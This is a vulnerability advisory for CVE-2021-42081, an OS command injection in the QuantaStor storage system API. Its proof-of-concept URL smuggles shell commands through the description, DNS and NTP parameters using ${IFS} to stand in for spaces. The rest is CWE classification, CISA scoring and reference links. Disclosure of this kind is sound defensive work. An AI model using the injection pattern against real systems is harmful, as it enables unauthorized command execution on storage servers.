CVE-2021-42081

Summary

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.

POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Affected Software

Weaknesses

• CWE-78: CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

ADP Enrichment

CVE Program Container

Additional References

• https://www.wbsec.nl/osnexus
• https://www.divd.nl/DIVD-2021-00020
• https://www.osnexus.com/products/software-defined-storage
• https://csirt.divd.nl/CVE-2021-42081

CISA ADP Vulnrichment

• SSVC:
• Exploitation: none
  • Automatable: no
  • Technical Impact: total

References

• https://www.wbsec.nl/osnexus
• https://csirt.divd.nl/DIVD-2021-00020/
• https://www.osnexus.com/products/software-defined-storage
• https://csirt.divd.nl/CVE-2021-42081

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